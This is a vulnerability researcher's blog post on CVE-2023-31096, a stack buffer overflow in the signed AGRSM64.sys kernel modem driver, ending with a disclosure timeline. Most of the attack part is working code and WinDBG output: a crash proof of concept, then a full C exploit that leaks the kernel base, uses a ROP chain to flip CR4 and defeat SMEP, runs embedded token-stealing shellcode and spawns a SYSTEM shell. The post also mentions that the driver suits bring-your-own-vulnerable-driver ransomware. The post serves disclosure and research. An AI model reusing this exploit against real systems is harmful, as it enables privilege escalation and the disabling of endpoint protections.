Headline
CVE-2023-31096: kernel driver bughunting: exploiting a stack-based buffer overflow
An issue was discovered in Broadcom) LSI PCI-SV92EX Soft Modem Kernel Driver through 2.2.100.1 (aka AGRSM64.sys). There is Local Privilege Escalation to SYSTEM via a Stack Overflow in RTLCopyMemory (IOCTL 0x1b2150). An attacker can exploit this to elevate privileges from a medium-integrity process to SYSTEM. This can also be used to bypass kernel-level protections such as AV or PPL, because exploit code runs with high-integrity privileges and can be used in coordinated BYOVD (bring your own vulnerable driver) ransomware campaigns.
Specifically we will exploit a Local Privilege Escalation to SYSTEM through Stack Overflow via RTLCopyMemory (IOCTL 0x1b2150) aka CVE-2023-31096.
As we can see from the below output of signtool the driver is signed by Microsoft and thus trusted to be loaded by any version of Windows:
Once we found our attacker-controlled user inputs, we can then start reversing those functions. In the next screenshot you can see the IOCTL handler at 0x1b2150 takes param_2 and copies it’s value to a destination buffer. If there is no bounds checking we have ourselves a vanilla stack-based buffer overflow.
We can start with a simple PoC to overflow return addresses with junk, remember as we are in kernel mode this will result in BSOD.
// AGRSM64 Kernel Driver LPE
// WIN11 x64 Stack Overflow Simple PoC
// Author: Christoph Schwarz [email protected]
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL_CODE 0x1b2150
void exploit() {
// Defining buffer and buffer size to send to the driver
char buf[250];
// Fill buffer with junk
memset(buf, 0x41, 250);
// Obtaining handle to the driver
printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
char* driver = const_cast <char*>("\\\\.\\GlobalRoot\\device\\AGRSM_xface");
HANDLE drvHandle = CreateFileA(
driver,
0xC0000000,
0x0,
NULL,
0x3,
0x0,
NULL
);
printf("[+] Handle to the driver %s: %d\n", driver, drvHandle);
DWORD lpBytesReturned;
printf("[+] Interacting with the driver...\n");
// Send payload to the driver
printf("[+] Wait 2 seconds for BSOD ...\n");
Sleep(2000);
BOOL status = DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf,
sizeof(buf),
NULL,
0,
&lpBytesReturned,
NULL
);
}
int main(int argc, char* argv[]) {
exploit();
printf("[+] we never get here. \n");
return 0;
}
In WinDBG we can get our target drivers base address:
2: kd> .reload
Connected to Windows 10 22621 x64 target at (Mon Oct 9 17:22:33.761 2023 (UTC + 2:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
..............................................
Loading User Symbols
Loading unloaded module list
...........
2: kd> lm Dvm AGRSM64
Browse full module list
start end module name
fffff803`2b430000 fffff803`2b562000 AGRSM64 (deferred)
Image path: \??\C:\Users\chris\Desktop\AGRSM64.sys
Image name: AGRSM64.sys
Browse all global symbols functions data
Timestamp: Thu Dec 3 22:05:51 2009 (4B18282F)
CheckSum: 001370DF
ImageSize: 00132000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
After rebasing the disassembled driver in Ghidra we can set a breakpoint to RTLCopyMemory and inspect the values. Remember x64 Application Binary Interface (ABI) uses a four-register fast-call calling convention, which means our function parameters are stored in RCX, RDX and R8. WinDBG output confirms we can control the source parameter and size for RTLCopyMemory:
2: kd> bp 0xfffff8032b444abc
2: kd> g
Breakpoint 0 hit
AGRSM64+0x14abc:
fffff803`2b444abc ff1596350d00 call qword ptr [AGRSM64+0xe8058 (fffff803`2b518058)]
4: kd> dq rcx l1
ffff8189`3402f580 00000000`00000150
4: kd> dq rdx
ffff998c`401af640 41414141`41414141 41414141`41414141
ffff998c`401af650 41414141`41414141 41414141`41414141
ffff998c`401af660 41414141`41414141 41414141`41414141
ffff998c`401af670 41414141`41414141 41414141`41414141
ffff998c`401af680 41414141`41414141 41414141`41414141
ffff998c`401af690 41414141`41414141 41414141`41414141
ffff998c`401af6a0 41414141`41414141 41414141`41414141
ffff998c`401af6b0 41414141`41414141 41414141`41414141
4: kd> .formats r8
Evaluate expression:
Hex: 00000000`000000fa
Decimal: 250
Decimal (unsigned) : 250
After we return from RTLCopyMemory we can see we have successfully corrupted some return addresses on the stack:
4: kd> k
# Child-SP RetAddr Call Site
00 ffff8189`3402f658 41414141`41414141 AGRSM64+0x14155
01 ffff8189`3402f660 41414141`41414141 0x41414141`41414141
02 ffff8189`3402f668 41414141`41414141 0x41414141`41414141
03 ffff8189`3402f670 41414141`41414141 0x41414141`41414141
04 ffff8189`3402f678 fffff803`2b554141 0x41414141`41414141
05 ffff8189`3402f680 ffff998c`3f541e10 AGRSM64+0x124141
06 ffff8189`3402f688 ffff998c`3f9d7240 0xffff998c`3f541e10
07 ffff8189`3402f690 00000000`00040286 0xffff998c`3f9d7240
08 ffff8189`3402f698 fffff803`21af83a9 0x40286
09 ffff8189`3402f6a0 fffff803`212b3ee5 nt!_guard_retpoline_exit_indirect_rax+0x9
0a ffff8189`3402f6f0 fffff803`21726350 nt!IofCallDriver+0x55
0b ffff8189`3402f730 fffff803`2172862f nt!IopSynchronousServiceTail+0x1d0
0c ffff8189`3402f7e0 fffff803`21727616 nt!IopXxxControlFile+0xfff
0d ffff8189`3402f9c0 fffff803`21446ee8 nt!NtDeviceIoControlFile+0x56
0e ffff8189`3402fa30 00007ffa`a114ee34 nt!KiSystemServiceCopyEnd+0x28
Proceeding further we a greeted with a wonderful Blue Screen of Death.
All right we can override kernel memory regions with arbitrary data and length and crash the machine, great.
Next we need an exploit to do some controlled attack. As a simple proof of concept we are going to take the token stealer shellcode and elevate our privileges to SYSTEM. This attack is already well documented and I’ll only briefly discuss how this is done. For more details you should check out Connor McGarr’s excellent blog and related topics.
As you can imagine we need to bypass some Windows specific security protections in the kernel, for simplicity reasons I deactivated Windows Defender and Core Isolation on a otherwise fully patched and functional Windows 11 machine. We will come back to more sophisticated exploits bypassing more protections at a later stage of this blog series.
For Kernel Address Space Layout Randomization (KASLR) we need to find a memory leak or simply call EnumDeviceDrivers(). Lol. Every medium-integrity process (i.e. our exploit) can call this function.
For Supervisor Mode Execution Prevention (SMEP) we will manipulate a single CR4 bit to return to our shellcode in user-mode and switch SMEP back on once we are done. All this is done with a simple ROP chain.
So our plan is as follows:
leak kernel base address via EnumDeviceDrivers()
find gadgets in ntoskrnl.exe and get offsets to those instructions
construct ROP chain
overwrite the return address of our IOCTL handler function with the first ROP gadget in ntoskrnl.exe
manipulate CR4 to be able to jump to user mode, where our shellcode is located
execute token stealer shellcode
ROP to ntoskrnl.exe and restore CR4
enjoy our SYSTEM cmd shell
// AGRSM64 Kernel Driver LPE // WIN11 x64 Stack Overflow with SMEP Bypass // Author: Christoph Schwarz [email protected]
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#define IOCTL_CODE 0x1b2150
DWORD64 getKBaseAddress(void) {
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
printf("[+] Calling EnumDeviceDrivers()...\n");
BOOL baseofDrivers = EnumDeviceDrivers(
lpImageBase,
sizeof(lpImageBase),
&lpcbNeeded
);
// ntoskrnl.exe is in array[0]
DWORD64 krnlBase = (DWORD64)lpImageBase[0];
printf("[+] Found kernel leak!\n");
printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);
return krnlBase;
}
void exploit()
{
// shellcode stolen from https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html
char payload[] =
"\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48"
"\x8b\x80\xb8\x00\x00\x00\x49\x89\xc0\x4d"
"\x8b\x80\x48\x04\x00\x00\x49\x81\xe8\x48"
"\x04\x00\x00\x4d\x8b\x88\x40\x04\x00\x00"
"\x49\x83\xf9\x04\x75\xe5\x49\x8b\x88\xb8"
"\x04\x00\x00\x80\xe1\xf0\x48\x89\x88\xb8"
"\x04\x00\x00\x65\x48\x8b\x04\x25\x88\x01"
"\x00\x00\x66\x8b\x88\xe4\x01\x00\x00\x66"
"\xff\xc1\x66\x89\x88\xe4\x01\x00\x00\x48"
"\x8b\x90\x90\x00\x00\x00\x48\x8b\x8a\x68"
"\x01\x00\x00\x4c\x8b\x9a\x78\x01\x00\x00"
"\x48\x8b\xa2\x80\x01\x00\x00\x48\x8b\xaa"
"\x58\x01\x00\x00\x31\xc0\x0f\x01\xf8\x48"
"\x0f\x07";
// Allocating shellcode in user mode
LPVOID shellcode = VirtualAlloc(
NULL,
sizeof(payload),
0x3000,
0x40
);
printf("[+] Shellcode allocated at: 0x%llx\n", shellcode);
// copy shellcode payload to allocated memory in user mode
memcpy(shellcode, payload, sizeof(payload));
// Running getKBaseAddress() here to get base of kernel for ROP gadgets
DWORD64 baseAddress = getKBaseAddress();
// Defining buffer and buffer size to send to the driver
char buf[280];
size_t gadgetSize = 0x8;
// Fill buffer with junk
memset(buf, 0x41, 280);
// ROP gadgets
DWORD64 ROP1 = baseAddress + 0xa8cfb6; // pop rcx ; ret:
DWORD64 ROP2 = 0xb50ef8 ^ 1UL << 20; // CR4 value: flip 20th bit
DWORD64 ROP3 = baseAddress + 0x39f047; // mov cr4, rcx ; ret:
DWORD64 ROP4 = baseAddress + 0xa8cfb6; // pop rcx ; ret:
DWORD64 ROP5 = 0xb50ef8; // CR4 value (0xb506f8)
DWORD64 ROP6 = baseAddress + 0x39f047; // mov cr4, rcx ; ret:
DWORD64 ROP7 = baseAddress + 0x427f22; // mov rsp, r11; ret;
printf("[+] Executing ROP chain to disable SMEP / SMAP. \n");
printf("[+] POP RCX; ret; \n");
memcpy(&buf[216], &ROP1, gadgetSize);
memcpy(&buf[216 + 8], &ROP2, gadgetSize);
printf("[+] MOV RCX; CR4; ret; \n");
printf("[+] Bypassed SMEP / SMAP ! \n");
memcpy(&buf[216 + 16], &ROP3, gadgetSize);
printf("[+] Executing shellcode in userland !\n");
memcpy(&buf[216 + 24], &shellcode, 0x8);
printf("[+] MOV RCX; CR4; ret; \n");
printf("[+] Executing ROP chain to restore CR4. \n");
printf("[+] POP RCX; ret; \n");
memcpy(&buf[216 + 32], &ROP4, gadgetSize);
memcpy(&buf[216 + 40], &ROP5, gadgetSize);
printf("[+] MOV RCX; CR4; ret; \n");
printf("[+] SMEP / SMAP restored ! \n");
memcpy(&buf[216 + 48], &ROP6, gadgetSize);
printf("[+] Get handle to the driver \n");
char *driver = const_cast < char*>("\\\\.\\GlobalRoot\\device\\AGRSM_xface");
HANDLE drvHandle = CreateFileA(
driver,
0xC0000000,
0x0,
NULL,
0x3,
0x0,
NULL
);
printf("[+] Driver handle %s: %d\n", driver, drvHandle);
// Send exploit to the driver
DWORD lpBytesReturned;
printf("[+] Send payload to driver...\n");
getchar();
BOOL status = DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf,
sizeof(buf),
NULL,
0,
&lpBytesReturned,
NULL
);
}
int main(int argc, char* argv[])
{
exploit();
printf("[+] Spawning SYSTEM shell!\n");
// Spawning an NT AUTHORITY\SYSTEM shell
system("cmd.exe /c cmd.exe /K cd C:\\");
return 0;
}
Executing the exploit is resulting in a LPE and SYSTEM shell:
Responsible Disclosure timeline:
- 01/24/23 reported vulnerability to [email protected]
- 01/24/23 immediate reply and triage
- 02/22/23 requesting update on fix
- 02/25/23 PSIRT replied with request for more time to research the issue
- 03/30/23 requesting update on fix
- 04/24/23 requesting CVE from Mitre, requesting update from PSIRT
- 04/25/23 response that driver is EOL since 2016 and OK for advisory release
- 10/09/23 advisory release and blog post